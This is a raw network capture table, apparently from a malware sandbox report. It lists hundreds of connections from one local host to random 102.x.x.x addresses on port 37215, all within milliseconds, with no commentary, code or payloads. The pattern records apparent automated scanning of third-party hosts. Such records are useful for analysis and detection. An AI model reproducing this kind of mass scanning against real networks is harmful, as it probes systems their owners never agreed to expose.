Feb 20, 2022 15:50:59.735605001 CET	1386	37215	192.168.2.23	102.30.214.84
Feb 20, 2022 15:50:59.735624075 CET	1898	37215	192.168.2.23	102.10.142.161
Feb 20, 2022 15:50:59.735647917 CET	1898	37215	192.168.2.23	102.163.157.119
Feb 20, 2022 15:50:59.735675097 CET	1898	37215	192.168.2.23	102.99.172.159
Feb 20, 2022 15:50:59.735676050 CET	1898	37215	192.168.2.23	102.186.161.136
Feb 20, 2022 15:50:59.735697985 CET	1898	37215	192.168.2.23	102.90.84.164
Feb 20, 2022 15:50:59.735717058 CET	1386	37215	192.168.2.23	102.131.201.162
Feb 20, 2022 15:50:59.735755920 CET	1898	37215	192.168.2.23	102.165.154.50
Feb 20, 2022 15:50:59.735765934 CET	1386	37215	192.168.2.23	102.31.229.193
Feb 20, 2022 15:50:59.735769987 CET	1898	37215	192.168.2.23	102.249.109.100
Feb 20, 2022 15:50:59.735779047 CET	1898	37215	192.168.2.23	102.211.170.196
Feb 20, 2022 15:50:59.735814095 CET	1898	37215	192.168.2.23	102.7.172.167
Feb 20, 2022 15:50:59.735820055 CET	1386	37215	192.168.2.23	102.230.217.55
Feb 20, 2022 15:50:59.735843897 CET	1898	37215	192.168.2.23	102.130.12.208
Feb 20, 2022 15:50:59.735846043 CET	1898	37215	192.168.2.23	102.39.40.219
Feb 20, 2022 15:50:59.735862017 CET	1898	37215	192.168.2.23	102.97.130.64
Feb 20, 2022 15:50:59.735888004 CET	1898	37215	192.168.2.23	102.157.112.135
Feb 20, 2022 15:50:59.735909939 CET	1386	37215	192.168.2.23	102.223.109.249
Feb 20, 2022 15:50:59.735913992 CET	1386	37215	192.168.2.23	102.23.203.251
Feb 20, 2022 15:50:59.735927105 CET	1898	37215	192.168.2.23	102.170.231.205
Feb 20, 2022 15:50:59.735944033 CET	1898	37215	192.168.2.23	102.166.120.16
Feb 20, 2022 15:50:59.735986948 CET	1898	37215	192.168.2.23	102.100.248.151
Feb 20, 2022 15:50:59.735996008 CET	1386	37215	192.168.2.23	102.210.141.210
Feb 20, 2022 15:50:59.736013889 CET	1898	37215	192.168.2.23	102.205.7.79
Feb 20, 2022 15:50:59.736016035 CET	1386	37215	192.168.2.23	102.237.210.169
Feb 20, 2022 15:50:59.736031055 CET	1898	37215	192.168.2.23	102.251.66.150
Feb 20, 2022 15:50:59.736044884 CET	1386	37215	192.168.2.23	102.193.151.197
Feb 20, 2022 15:50:59.736056089 CET	1898	37215	192.168.2.23	102.218.74.163
Feb 20, 2022 15:50:59.736104012 CET	1898	37215	192.168.2.23	102.86.136.57
Feb 20, 2022 15:50:59.736109972 CET	1898	37215	192.168.2.23	102.4.214.187
Feb 20, 2022 15:50:59.736136913 CET	1898	37215	192.168.2.23	102.251.86.193
Feb 20, 2022 15:50:59.736140966 CET	1386	37215	192.168.2.23	102.212.131.113
Feb 20, 2022 15:50:59.736150980 CET	1386	37215	192.168.2.23	102.53.95.112
Feb 20, 2022 15:50:59.736152887 CET	1898	37215	192.168.2.23	102.14.124.105
Feb 20, 2022 15:50:59.736176968 CET	1898	37215	192.168.2.23	102.249.22.75
Feb 20, 2022 15:50:59.736201048 CET	1386	37215	192.168.2.23	102.71.191.223
Feb 20, 2022 15:50:59.736202955 CET	1898	37215	192.168.2.23	102.143.89.224
Feb 20, 2022 15:50:59.736206055 CET	1898	37215	192.168.2.23	102.176.189.50
Feb 20, 2022 15:50:59.736246109 CET	1898	37215	192.168.2.23	102.170.198.81
Feb 20, 2022 15:50:59.736247063 CET	1898	37215	192.168.2.23	102.142.189.160
Feb 20, 2022 15:50:59.736279011 CET	1898	37215	192.168.2.23	102.5.160.125
Feb 20, 2022 15:50:59.736284018 CET	1386	37215	192.168.2.23	102.160.191.141
Feb 20, 2022 15:50:59.736288071 CET	1898	37215	192.168.2.23	102.178.148.8
Feb 20, 2022 15:50:59.736310959 CET	1386	37215	192.168.2.23	102.83.53.128
Feb 20, 2022 15:50:59.736310959 CET	1898	37215	192.168.2.23	102.188.111.211
Feb 20, 2022 15:50:59.736330032 CET	1898	37215	192.168.2.23	102.64.240.134
Feb 20, 2022 15:50:59.736347914 CET	1386	37215	192.168.2.23	102.157.33.241
Feb 20, 2022 15:50:59.736401081 CET	1386	37215	192.168.2.23	102.207.215.234
Feb 20, 2022 15:50:59.736403942 CET	1898	37215	192.168.2.23	102.35.197.144
Feb 20, 2022 15:50:59.736412048 CET	1898	37215	192.168.2.23	102.241.143.56
Feb 20, 2022 15:50:59.736418009 CET	1898	37215	192.168.2.23	102.142.140.149
Feb 20, 2022 15:50:59.736421108 CET	1898	37215	192.168.2.23	102.124.82.127
Feb 20, 2022 15:50:59.736438990 CET	1898	37215	192.168.2.23	102.172.175.187
Feb 20, 2022 15:50:59.736469984 CET	1898	37215	192.168.2.23	102.49.200.7
Feb 20, 2022 15:50:59.736490011 CET	1386	37215	192.168.2.23	102.161.44.198
Feb 20, 2022 15:50:59.736494064 CET	1386	37215	192.168.2.23	102.18.140.243
Feb 20, 2022 15:50:59.736499071 CET	1898	37215	192.168.2.23	102.184.67.92
Feb 20, 2022 15:50:59.736514091 CET	1898	37215	192.168.2.23	102.3.118.213
Feb 20, 2022 15:50:59.736531973 CET	1386	37215	192.168.2.23	102.20.56.189
Feb 20, 2022 15:50:59.736558914 CET	1898	37215	192.168.2.23	102.247.117.99
Feb 20, 2022 15:50:59.736561060 CET	1898	37215	192.168.2.23	102.110.92.10
Feb 20, 2022 15:50:59.736578941 CET	1898	37215	192.168.2.23	102.51.49.102
Feb 20, 2022 15:50:59.736586094 CET	1386	37215	192.168.2.23	102.22.237.21
Feb 20, 2022 15:50:59.736598015 CET	1898	37215	192.168.2.23	102.23.67.66
Feb 20, 2022 15:50:59.736639977 CET	1386	37215	192.168.2.23	102.168.70.170
Feb 20, 2022 15:50:59.736653090 CET	1898	37215	192.168.2.23	102.224.58.174
Feb 20, 2022 15:50:59.736675978 CET	1898	37215	192.168.2.23	102.175.73.128
Feb 20, 2022 15:50:59.736681938 CET	1386	37215	192.168.2.23	102.59.84.87
Feb 20, 2022 15:50:59.736701965 CET	1898	37215	192.168.2.23	102.91.61.241
Feb 20, 2022 15:50:59.736713886 CET	1386	37215	192.168.2.23	102.197.215.37
Feb 20, 2022 15:50:59.736720085 CET	1898	37215	192.168.2.23	102.62.196.122
Feb 20, 2022 15:50:59.736759901 CET	1898	37215	192.168.2.23	102.227.192.148
Feb 20, 2022 15:50:59.736773014 CET	1386	37215	192.168.2.23	102.56.250.106
Feb 20, 2022 15:50:59.736774921 CET	1898	37215	192.168.2.23	102.192.55.184
Feb 20, 2022 15:50:59.736799002 CET	1898	37215	192.168.2.23	102.188.149.187
Feb 20, 2022 15:50:59.736802101 CET	1898	37215	192.168.2.23	102.80.56.122
Feb 20, 2022 15:50:59.736820936 CET	1386	37215	192.168.2.23	102.241.62.15
Feb 20, 2022 15:50:59.736854076 CET	1898	37215	192.168.2.23	102.37.131.231
Feb 20, 2022 15:50:59.736860037 CET	1898	37215	192.168.2.23	102.35.180.22
Feb 20, 2022 15:50:59.736869097 CET	1386	37215	192.168.2.23	102.121.2.20
Feb 20, 2022 15:50:59.736871004 CET	1898	37215	192.168.2.23	102.62.99.21
Feb 20, 2022 15:50:59.736922979 CET	1386	37215	192.168.2.23	102.28.30.189
Feb 20, 2022 15:50:59.736927986 CET	1898	37215	192.168.2.23	102.30.112.170
Feb 20, 2022 15:50:59.736927032 CET	1898	37215	192.168.2.23	102.118.237.223
Feb 20, 2022 15:50:59.736937046 CET	1898	37215	192.168.2.23	102.245.249.188
Feb 20, 2022 15:50:59.736968994 CET	1898	37215	192.168.2.23	102.205.173.111
Feb 20, 2022 15:50:59.736994982 CET	1898	37215	192.168.2.23	102.14.95.51
Feb 20, 2022 15:50:59.737015009 CET	1386	37215	192.168.2.23	102.192.108.157
Feb 20, 2022 15:50:59.737029076 CET	1898	37215	192.168.2.23	102.190.139.200
Feb 20, 2022 15:50:59.737034082 CET	1386	37215	192.168.2.23	102.127.146.19
Feb 20, 2022 15:50:59.737073898 CET	1386	37215	192.168.2.23	102.129.132.200
Feb 20, 2022 15:50:59.737075090 CET	1898	37215	192.168.2.23	102.205.66.188
Feb 20, 2022 15:50:59.737087965 CET	1898	37215	192.168.2.23	102.3.62.91
Feb 20, 2022 15:50:59.737112999 CET	1898	37215	192.168.2.23	102.118.119.182
Feb 20, 2022 15:50:59.737114906 CET	1898	37215	192.168.2.23	102.141.232.177
Feb 20, 2022 15:50:59.737119913 CET	1386	37215	192.168.2.23	102.40.229.5
Feb 20, 2022 15:50:59.737131119 CET	1898	37215	192.168.2.23	102.233.221.229
Feb 20, 2022 15:50:59.737165928 CET	1386	37215	192.168.2.23	102.173.252.210
Feb 20, 2022 15:50:59.737171888 CET	1898	37215	192.168.2.23	102.33.82.74
Feb 20, 2022 15:50:59.737200022 CET	1898	37215	192.168.2.23	102.134.187.185
Feb 20, 2022 15:50:59.737215042 CET	1898	37215	192.168.2.23	102.232.223.34
Feb 20, 2022 15:50:59.737219095 CET	1386	37215	192.168.2.23	102.116.117.140
Feb 20, 2022 15:50:59.737250090 CET	1898	37215	192.168.2.23	102.192.74.200
Feb 20, 2022 15:50:59.737255096 CET	1898	37215	192.168.2.23	102.38.165.198
Feb 20, 2022 15:50:59.737266064 CET	1386	37215	192.168.2.23	102.243.171.84
Feb 20, 2022 15:50:59.737282991 CET	1898	37215	192.168.2.23	102.13.26.201
Feb 20, 2022 15:50:59.737298012 CET	1898	37215	192.168.2.23	102.83.228.202
Feb 20, 2022 15:50:59.737315893 CET	1898	37215	192.168.2.23	102.244.67.61
Feb 20, 2022 15:50:59.737318039 CET	1386	37215	192.168.2.23	102.185.203.23
Feb 20, 2022 15:50:59.737332106 CET	1898	37215	192.168.2.23	102.128.239.15
Feb 20, 2022 15:50:59.737353086 CET	1898	37215	192.168.2.23	102.33.154.108
Feb 20, 2022 15:50:59.737363100 CET	1386	37215	192.168.2.23	102.235.40.55
Feb 20, 2022 15:50:59.737376928 CET	1898	37215	192.168.2.23	102.217.26.0
Feb 20, 2022 15:50:59.737409115 CET	1898	37215	192.168.2.23	102.25.64.46
Feb 20, 2022 15:50:59.737413883 CET	1898	37215	192.168.2.23	102.81.67.140
Feb 20, 2022 15:50:59.737421036 CET	1386	37215	192.168.2.23	102.1.211.134
Feb 20, 2022 15:50:59.737446070 CET	1898	37215	192.168.2.23	102.53.144.163
Feb 20, 2022 15:50:59.737458944 CET	1898	37215	192.168.2.23	102.183.102.83
Feb 20, 2022 15:50:59.737469912 CET	1386	37215	192.168.2.23	102.69.221.84
Feb 20, 2022 15:50:59.737479925 CET	1898	37215	192.168.2.23	102.226.89.164
Feb 20, 2022 15:50:59.737510920 CET	1898	37215	192.168.2.23	102.149.217.196
Feb 20, 2022 15:50:59.737517118 CET	1386	37215	192.168.2.23	102.243.10.69
Feb 20, 2022 15:50:59.737556934 CET	1386	37215	192.168.2.23	102.40.5.23
Feb 20, 2022 15:50:59.737570047 CET	1898	37215	192.168.2.23	102.100.44.150
Feb 20, 2022 15:50:59.737571955 CET	1898	37215	192.168.2.23	102.219.1.222
Feb 20, 2022 15:50:59.737591982 CET	1898	37215	192.168.2.23	102.182.75.69
Feb 20, 2022 15:50:59.737592936 CET	1386	37215	192.168.2.23	102.100.251.48
Feb 20, 2022 15:50:59.737618923 CET	1898	37215	192.168.2.23	102.102.79.59
Feb 20, 2022 15:50:59.737624884 CET	1898	37215	192.168.2.23	102.38.69.46
Feb 20, 2022 15:50:59.737648964 CET	1898	37215	192.168.2.23	102.233.144.7
Feb 20, 2022 15:50:59.737648964 CET	1386	37215	192.168.2.23	102.195.56.202
Feb 20, 2022 15:50:59.737684011 CET	1898	37215	192.168.2.23	102.188.252.162
Feb 20, 2022 15:50:59.737689018 CET	1898	37215	192.168.2.23	102.206.130.47
Feb 20, 2022 15:50:59.737698078 CET	1386	37215	192.168.2.23	102.225.4.206
Feb 20, 2022 15:50:59.737703085 CET	1898	37215	192.168.2.23	102.36.44.129
Feb 20, 2022 15:50:59.737741947 CET	1386	37215	192.168.2.23	102.118.199.52
Feb 20, 2022 15:50:59.737749100 CET	1898	37215	192.168.2.23	102.228.213.195
Feb 20, 2022 15:50:59.737756014 CET	1898	37215	192.168.2.23	102.107.87.105
Feb 20, 2022 15:50:59.737772942 CET	1898	37215	192.168.2.23	102.217.224.38
Feb 20, 2022 15:50:59.737790108 CET	1386	37215	192.168.2.23	102.6.7.127
Feb 20, 2022 15:50:59.737821102 CET	1898	37215	192.168.2.23	102.71.125.30
Feb 20, 2022 15:50:59.737822056 CET	1898	37215	192.168.2.23	102.98.133.147
Feb 20, 2022 15:50:59.737832069 CET	1898	37215	192.168.2.23	102.189.59.30
Feb 20, 2022 15:50:59.737884998 CET	1898	37215	192.168.2.23	102.94.164.126
Feb 20, 2022 15:50:59.737890005 CET	1386	37215	192.168.2.23	102.32.188.253
Feb 20, 2022 15:50:59.737898111 CET	1898	37215	192.168.2.23	102.186.3.156
Feb 20, 2022 15:50:59.737905025 CET	1898	37215	192.168.2.23	102.172.22.224
Feb 20, 2022 15:50:59.737905979 CET	1386	37215	192.168.2.23	102.61.38.61
Feb 20, 2022 15:50:59.737936020 CET	1386	37215	192.168.2.23	102.130.242.38
Feb 20, 2022 15:50:59.737951040 CET	1898	37215	192.168.2.23	102.29.108.174
Feb 20, 2022 15:50:59.737962008 CET	1898	37215	192.168.2.23	102.19.214.166
Feb 20, 2022 15:50:59.737987041 CET	1898	37215	192.168.2.23	102.187.52.179
Feb 20, 2022 15:50:59.737997055 CET	1898	37215	192.168.2.23	102.251.186.226
Feb 20, 2022 15:50:59.737997055 CET	1386	37215	192.168.2.23	102.4.182.225
Feb 20, 2022 15:50:59.738020897 CET	1898	37215	192.168.2.23	102.62.159.85
Feb 20, 2022 15:50:59.738046885 CET	1898	37215	192.168.2.23	102.112.79.172
Feb 20, 2022 15:50:59.738070011 CET	1898	37215	192.168.2.23	102.145.15.103
Feb 20, 2022 15:50:59.738090038 CET	1386	37215	192.168.2.23	102.101.92.209
Feb 20, 2022 15:50:59.738095999 CET	1898	37215	192.168.2.23	102.253.7.194
Feb 20, 2022 15:50:59.738120079 CET	1386	37215	192.168.2.23	102.10.126.242
Feb 20, 2022 15:50:59.738130093 CET	1898	37215	192.168.2.23	102.0.112.109
Feb 20, 2022 15:50:59.738142014 CET	1386	37215	192.168.2.23	102.121.248.243
Feb 20, 2022 15:50:59.738147020 CET	1898	37215	192.168.2.23	102.200.212.121
Feb 20, 2022 15:50:59.738149881 CET	1898	37215	192.168.2.23	102.201.241.167
Feb 20, 2022 15:50:59.738183022 CET	1898	37215	192.168.2.23	102.204.221.242
Feb 20, 2022 15:50:59.738185883 CET	1386	37215	192.168.2.23	102.90.230.175
Feb 20, 2022 15:50:59.738224030 CET	1898	37215	192.168.2.23	102.158.204.229
Feb 20, 2022 15:50:59.738226891 CET	1898	37215	192.168.2.23	102.129.201.101
Feb 20, 2022 15:50:59.738234043 CET	1386	37215	192.168.2.23	102.104.169.139
Feb 20, 2022 15:50:59.738264084 CET	1898	37215	192.168.2.23	102.26.249.242
Feb 20, 2022 15:50:59.738272905 CET	1386	37215	192.168.2.23	102.201.143.171
Feb 20, 2022 15:50:59.738280058 CET	1898	37215	192.168.2.23	102.43.184.243
Feb 20, 2022 15:50:59.738291025 CET	1898	37215	192.168.2.23	102.217.206.161
Feb 20, 2022 15:50:59.738317966 CET	1386	37215	192.168.2.23	102.129.105.244
Feb 20, 2022 15:50:59.738331079 CET	1898	37215	192.168.2.23	102.237.32.85
Feb 20, 2022 15:50:59.738358974 CET	1898	37215	192.168.2.23	102.118.253.193
Feb 20, 2022 15:50:59.738368034 CET	1898	37215	192.168.2.23	102.237.147.192
Feb 20, 2022 15:50:59.738378048 CET	1386	37215	192.168.2.23	102.240.80.36
Feb 20, 2022 15:50:59.738406897 CET	1898	37215	192.168.2.23	102.171.251.211
Feb 20, 2022 15:50:59.738413095 CET	1898	37215	192.168.2.23	102.29.137.168
Feb 20, 2022 15:50:59.738419056 CET	1386	37215	192.168.2.23	102.89.74.150
Feb 20, 2022 15:50:59.738491058 CET	1386	37215	192.168.2.23	102.211.218.200
Feb 20, 2022 15:50:59.738492012 CET	1898	37215	192.168.2.23	102.40.243.86
Feb 20, 2022 15:50:59.738492012 CET	1898	37215	192.168.2.23	102.97.37.70
Feb 20, 2022 15:50:59.738497972 CET	1898	37215	192.168.2.23	102.81.217.188
Feb 20, 2022 15:50:59.738534927 CET	1898	37215	192.168.2.23	102.60.31.199
Feb 20, 2022 15:50:59.738545895 CET	1386	37215	192.168.2.23	102.68.94.176
Feb 20, 2022 15:50:59.738579988 CET	1898	37215	192.168.2.23	102.154.162.226
Feb 20, 2022 15:50:59.738583088 CET	1898	37215	192.168.2.23	102.0.4.157
Feb 20, 2022 15:50:59.738590002 CET	1386	37215	192.168.2.23	102.91.187.139
Feb 20, 2022 15:50:59.738624096 CET	1898	37215	192.168.2.23	102.58.176.248
Feb 20, 2022 15:50:59.738626003 CET	1898	37215	192.168.2.23	102.167.187.200
Feb 20, 2022 15:50:59.738641977 CET	1898	37215	192.168.2.23	102.225.95.19
Feb 20, 2022 15:50:59.738665104 CET	1386	37215	192.168.2.23	102.133.225.92
Feb 20, 2022 15:50:59.738666058 CET	1898	37215	192.168.2.23	102.3.54.93
Feb 20, 2022 15:50:59.738697052 CET	1898	37215	192.168.2.23	102.110.103.252
Feb 20, 2022 15:50:59.738698006 CET	1386	37215	192.168.2.23	102.9.220.131
Feb 20, 2022 15:50:59.738718033 CET	1898	37215	192.168.2.23	102.113.85.70
Feb 20, 2022 15:50:59.738744974 CET	1898	37215	192.168.2.23	102.208.126.154
Feb 20, 2022 15:50:59.738746881 CET	1386	37215	192.168.2.23	102.25.207.31
Feb 20, 2022 15:50:59.738770962 CET	1898	37215	192.168.2.23	102.57.120.89
Feb 20, 2022 15:50:59.738773108 CET	1898	37215	192.168.2.23	102.212.224.204
Feb 20, 2022 15:50:59.738779068 CET	1898	37215	192.168.2.23	102.150.95.54
Feb 20, 2022 15:50:59.738816023 CET	1386	37215	192.168.2.23	102.48.109.210
Feb 20, 2022 15:50:59.738833904 CET	1898	37215	192.168.2.23	102.25.69.71
Feb 20, 2022 15:50:59.738837957 CET	1386	37215	192.168.2.23	102.175.133.71
Feb 20, 2022 15:50:59.738842010 CET	1898	37215	192.168.2.23	102.233.70.159
Feb 20, 2022 15:50:59.738869905 CET	1898	37215	192.168.2.23	102.147.228.222
Feb 20, 2022 15:50:59.738873959 CET	1898	37215	192.168.2.23	102.162.121.24
Feb 20, 2022 15:50:59.738895893 CET	1898	37215	192.168.2.23	102.125.234.161
Feb 20, 2022 15:50:59.738908052 CET	1386	37215	192.168.2.23	102.100.244.170
Feb 20, 2022 15:50:59.738915920 CET	1898	37215	192.168.2.23	102.77.154.12
Feb 20, 2022 15:50:59.738931894 CET	1898	37215	192.168.2.23	102.64.60.58
Feb 20, 2022 15:50:59.738953114 CET	1386	37215	192.168.2.23	102.242.99.216
Feb 20, 2022 15:50:59.738967896 CET	1898	37215	192.168.2.23	102.5.189.205
Feb 20, 2022 15:50:59.738986969 CET	1898	37215	192.168.2.23	102.132.143.173
Feb 20, 2022 15:50:59.738996029 CET	1898	37215	192.168.2.23	102.42.113.43
Feb 20, 2022 15:50:59.738996029 CET	1386	37215	192.168.2.23	102.182.0.192
Feb 20, 2022 15:50:59.739037991 CET	1898	37215	192.168.2.23	102.95.185.201
Feb 20, 2022 15:50:59.739038944 CET	1898	37215	192.168.2.23	102.61.230.77
Feb 20, 2022 15:50:59.739052057 CET	1386	37215	192.168.2.23	102.220.224.4
Feb 20, 2022 15:50:59.739082098 CET	1898	37215	192.168.2.23	102.221.60.123
Feb 20, 2022 15:50:59.739087105 CET	1386	37215	192.168.2.23	102.0.211.254
Feb 20, 2022 15:50:59.739113092 CET	1898	37215	192.168.2.23	102.189.168.241
Feb 20, 2022 15:50:59.739129066 CET	1386	37215	192.168.2.23	102.145.12.165
Feb 20, 2022 15:50:59.739145994 CET	1898	37215	192.168.2.23	102.183.177.56
Feb 20, 2022 15:50:59.739173889 CET	1386	37215	192.168.2.23	102.254.26.204
Feb 20, 2022 15:50:59.739176035 CET	1898	37215	192.168.2.23	102.209.15.224
Feb 20, 2022 15:50:59.739209890 CET	1898	37215	192.168.2.23	102.244.243.227
Feb 20, 2022 15:50:59.739218950 CET	1898	37215	192.168.2.23	102.53.218.208
Feb 20, 2022 15:50:59.739223957 CET	1386	37215	192.168.2.23	102.130.141.221
Feb 20, 2022 15:50:59.739264011 CET	1898	37215	192.168.2.23	102.235.184.186
Feb 20, 2022 15:50:59.739264965 CET	1898	37215	192.168.2.23	102.154.68.215
Feb 20, 2022 15:50:59.739274979 CET	1386	37215	192.168.2.23	102.113.2.21
Feb 20, 2022 15:50:59.739305019 CET	1898	37215	192.168.2.23	102.64.32.126
Feb 20, 2022 15:50:59.739320993 CET	1386	37215	192.168.2.23	102.236.222.201
Feb 20, 2022 15:50:59.739346981 CET	1898	37215	192.168.2.23	102.1.76.168
Feb 20, 2022 15:50:59.739348888 CET	1898	37215	192.168.2.23	102.191.202.199
Feb 20, 2022 15:50:59.739362955 CET	1898	37215	192.168.2.23	102.35.216.40
Feb 20, 2022 15:50:59.739404917 CET	1898	37215	192.168.2.23	102.128.44.10
Feb 20, 2022 15:50:59.739407063 CET	1898	37215	192.168.2.23	102.107.57.144
Feb 20, 2022 15:50:59.739418983 CET	1386	37215	192.168.2.23	102.236.108.145
Feb 20, 2022 15:50:59.739419937 CET	1386	37215	192.168.2.23	102.171.21.66
Feb 20, 2022 15:50:59.739439964 CET	1898	37215	192.168.2.23	102.137.207.54
Feb 20, 2022 15:50:59.739458084 CET	1898	37215	192.168.2.23	102.185.58.141
Feb 20, 2022 15:50:59.739461899 CET	1386	37215	192.168.2.23	102.44.222.209
Feb 20, 2022 15:50:59.739486933 CET	1898	37215	192.168.2.23	102.95.251.134
Feb 20, 2022 15:50:59.739486933 CET	1898	37215	192.168.2.23	102.45.62.216
Feb 20, 2022 15:50:59.739515066 CET	1386	37215	192.168.2.23	102.113.218.222
Feb 20, 2022 15:50:59.739516020 CET	1898	37215	192.168.2.23	102.236.221.248
Feb 20, 2022 15:50:59.739552975 CET	1386	37215	192.168.2.23	102.14.139.42
Feb 20, 2022 15:50:59.739561081 CET	1898	37215	192.168.2.23	102.67.171.98
Feb 20, 2022 15:50:59.739567041 CET	1898	37215	192.168.2.23	102.93.212.229
Feb 20, 2022 15:50:59.739600897 CET	1898	37215	192.168.2.23	102.141.211.164
Feb 20, 2022 15:50:59.739622116 CET	1898	37215	192.168.2.23	102.255.134.243
Feb 20, 2022 15:50:59.739639997 CET	1898	37215	192.168.2.23	102.111.72.68
Feb 20, 2022 15:50:59.739651918 CET	1386	37215	192.168.2.23	102.175.174.249
Feb 20, 2022 15:50:59.739650965 CET	1386	37215	192.168.2.23	102.81.191.33
Feb 20, 2022 15:50:59.739666939 CET	1898	37215	192.168.2.23	102.76.173.47
Feb 20, 2022 15:50:59.739685059 CET	1898	37215	192.168.2.23	102.154.71.14
Feb 20, 2022 15:50:59.739725113 CET	1386	37215	192.168.2.23	102.182.178.55
Feb 20, 2022 15:50:59.739729881 CET	1898	37215	192.168.2.23	102.136.73.44
Feb 20, 2022 15:50:59.739737988 CET	1386	37215	192.168.2.23	102.167.229.19
Feb 20, 2022 15:50:59.739743948 CET	1898	37215	192.168.2.23	102.243.219.162
Feb 20, 2022 15:50:59.739775896 CET	1898	37215	192.168.2.23	102.3.241.152
Feb 20, 2022 15:50:59.739788055 CET	1898	37215	192.168.2.23	102.3.98.178
Feb 20, 2022 15:50:59.739794970 CET	1898	37215	192.168.2.23	102.250.169.163
Feb 20, 2022 15:50:59.739800930 CET	1386	37215	192.168.2.23	102.9.47.159
Feb 20, 2022 15:50:59.739842892 CET	1898	37215	192.168.2.23	102.88.146.228
Feb 20, 2022 15:50:59.739861012 CET	1898	37215	192.168.2.23	102.190.66.150
Feb 20, 2022 15:50:59.739867926 CET	1898	37215	192.168.2.23	102.191.189.67
Feb 20, 2022 15:50:59.739876986 CET	1898	37215	192.168.2.23	102.119.0.201
Feb 20, 2022 15:50:59.739883900 CET	1386	37215	192.168.2.23	102.190.56.217
Feb 20, 2022 15:50:59.739907980 CET	1386	37215	192.168.2.23	102.20.231.111
Feb 20, 2022 15:50:59.739909887 CET	1898	37215	192.168.2.23	102.224.183.10
Feb 20, 2022 15:50:59.739932060 CET	1898	37215	192.168.2.23	102.232.168.115
Feb 20, 2022 15:50:59.739934921 CET	1386	37215	192.168.2.23	102.69.147.75
Feb 20, 2022 15:50:59.739944935 CET	1898	37215	192.168.2.23	102.84.126.99
Feb 20, 2022 15:50:59.739993095 CET	1898	37215	192.168.2.23	102.61.94.172
Feb 20, 2022 15:50:59.740005970 CET	1386	37215	192.168.2.23	102.85.79.134
Feb 20, 2022 15:50:59.740024090 CET	1386	37215	192.168.2.23	102.179.6.40
Feb 20, 2022 15:50:59.740029097 CET	1898	37215	192.168.2.23	102.104.210.6
Feb 20, 2022 15:50:59.740034103 CET	1898	37215	192.168.2.23	102.166.227.76
Feb 20, 2022 15:50:59.740057945 CET	1898	37215	192.168.2.23	102.234.137.31
Feb 20, 2022 15:50:59.740073919 CET	1386	37215	192.168.2.23	102.109.74.206
Feb 20, 2022 15:50:59.740073919 CET	1898	37215	192.168.2.23	102.140.46.128
Feb 20, 2022 15:50:59.740099907 CET	1898	37215	192.168.2.23	102.33.196.121
Feb 20, 2022 15:50:59.740128994 CET	1898	37215	192.168.2.23	102.57.103.4
Feb 20, 2022 15:50:59.740129948 CET	1386	37215	192.168.2.23	102.147.109.101
Feb 20, 2022 15:50:59.740142107 CET	1898	37215	192.168.2.23	102.41.94.106
Feb 20, 2022 15:50:59.740149021 CET	1898	37215	192.168.2.23	102.52.248.119
Feb 20, 2022 15:50:59.740176916 CET	1386	37215	192.168.2.23	102.110.247.89
Feb 20, 2022 15:50:59.740179062 CET	1898	37215	192.168.2.23	102.151.110.63
Feb 20, 2022 15:50:59.740211964 CET	1898	37215	192.168.2.23	102.252.14.216
Feb 20, 2022 15:50:59.740230083 CET	1386	37215	192.168.2.23	102.134.165.112
Feb 20, 2022 15:50:59.740231037 CET	1898	37215	192.168.2.23	102.99.158.220
Feb 20, 2022 15:50:59.740250111 CET	1898	37215	192.168.2.23	102.136.44.26
Feb 20, 2022 15:50:59.740261078 CET	1898	37215	192.168.2.23	102.163.121.126
Feb 20, 2022 15:50:59.740279913 CET	1898	37215	192.168.2.23	102.34.88.198
Feb 20, 2022 15:50:59.740281105 CET	1386	37215	192.168.2.23	102.225.66.23
Feb 20, 2022 15:50:59.740294933 CET	1898	37215	192.168.2.23	102.251.120.109
Feb 20, 2022 15:50:59.740315914 CET	1898	37215	192.168.2.23	102.233.227.186
Feb 20, 2022 15:50:59.740345001 CET	1898	37215	192.168.2.23	102.31.63.234
Feb 20, 2022 15:50:59.740345955 CET	1386	37215	192.168.2.23	102.218.89.200
Feb 20, 2022 15:50:59.740367889 CET	1898	37215	192.168.2.23	102.153.130.51
Feb 20, 2022 15:50:59.740369081 CET	1898	37215	192.168.2.23	102.174.95.185
Feb 20, 2022 15:50:59.740370989 CET	1386	37215	192.168.2.23	102.162.15.24
Feb 20, 2022 15:50:59.740385056 CET	1898	37215	192.168.2.23	102.198.146.9
Feb 20, 2022 15:50:59.740423918 CET	1386	37215	192.168.2.23	102.213.90.25
Feb 20, 2022 15:50:59.740428925 CET	1898	37215	192.168.2.23	102.161.248.109
Feb 20, 2022 15:50:59.740432978 CET	1898	37215	192.168.2.23	102.220.202.197
Feb 20, 2022 15:50:59.740466118 CET	1898	37215	192.168.2.23	102.16.226.58
Feb 20, 2022 15:50:59.740473986 CET	1386	37215	192.168.2.23	102.7.194.117
Feb 20, 2022 15:50:59.740505934 CET	1898	37215	192.168.2.23	102.171.197.34
Feb 20, 2022 15:50:59.740519047 CET	1386	37215	192.168.2.23	102.98.112.36
Feb 20, 2022 15:50:59.740539074 CET	1898	37215	192.168.2.23	102.235.12.34
Feb 20, 2022 15:50:59.740546942 CET	1898	37215	192.168.2.23	102.123.53.124
Feb 20, 2022 15:50:59.740547895 CET	1898	37215	192.168.2.23	102.65.255.103
Feb 20, 2022 15:50:59.740566969 CET	1898	37215	192.168.2.23	102.55.189.246
Feb 20, 2022 15:50:59.740571022 CET	1386	37215	192.168.2.23	102.249.135.133
Feb 20, 2022 15:50:59.740613937 CET	1898	37215	192.168.2.23	102.254.233.67
Feb 20, 2022 15:50:59.740619898 CET	1898	37215	192.168.2.23	102.180.2.107
Feb 20, 2022 15:50:59.740619898 CET	1386	37215	192.168.2.23	102.192.9.184
Feb 20, 2022 15:50:59.740662098 CET	1386	37215	192.168.2.23	102.130.4.50
Feb 20, 2022 15:50:59.740667105 CET	1898	37215	192.168.2.23	102.56.211.123
Feb 20, 2022 15:50:59.740684986 CET	1898	37215	192.168.2.23	102.253.213.121
Feb 20, 2022 15:50:59.740695000 CET	1898	37215	192.168.2.23	102.73.162.177
Feb 20, 2022 15:50:59.740701914 CET	1898	37215	192.168.2.23	102.39.231.224
Feb 20, 2022 15:50:59.740710974 CET	1898	37215	192.168.2.23	102.190.171.137
Feb 20, 2022 15:50:59.740715981 CET	1386	37215	192.168.2.23	102.151.144.167
Feb 20, 2022 15:50:59.740735054 CET	1898	37215	192.168.2.23	102.180.138.8
Feb 20, 2022 15:50:59.740767956 CET	1386	37215	192.168.2.23	102.236.13.158
Feb 20, 2022 15:50:59.740783930 CET	1898	37215	192.168.2.23	102.253.93.190
